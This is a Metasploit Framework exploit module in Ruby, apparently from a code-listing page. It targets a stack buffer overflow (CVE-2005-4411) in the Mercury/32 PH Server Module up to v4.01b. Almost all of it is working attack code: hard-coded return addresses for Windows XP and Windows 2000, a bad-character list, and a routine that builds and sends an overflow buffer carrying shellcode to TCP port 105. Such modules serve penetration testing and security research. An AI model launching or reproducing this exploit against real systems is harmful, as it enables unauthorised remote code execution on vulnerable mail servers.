|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76  |  ## # $Id: mercury_phonebook.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = AverageRanking  include Msf::Exploit::Remote::Tcp  def initialize(info = {})  super(update_info(info,  'Name' => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',  'Description'=> %q{  This module exploits a stack-based buffer overflow in  Mercury/32 <= v4.01b PH Server Module. This issue is  due to a failure of the application to properly bounds check  user-supplied data prior to copying it to a fixed size memory buffer.  },  'Author' => 'MC',  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 9525 $',  'References' =>  [  [ 'CVE', '2005-4411' ],  [ 'OSVDB', '22103'],  [ 'BID', '16396' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'thread',  },  'Payload'=>  {  'Space'=> 500,  'BadChars' => "\x00\x20\x0a\x0d",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],  ],  'Privileged' => true,  'DisclosureDate' => 'Dec 19 2005',  'DefaultTarget' => 0))  register_options([ Opt::RPORT(105)], self)  end  def exploit  connect  print_status("Trying target #{target.name}...")  sploit =rand_text_alphanumeric(224, payload_badchars)  sploit << payload.encoded + "\xeb\x06" + make_nops(2)  sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"  sock.put(sploit)  handler  disconnect  end end  |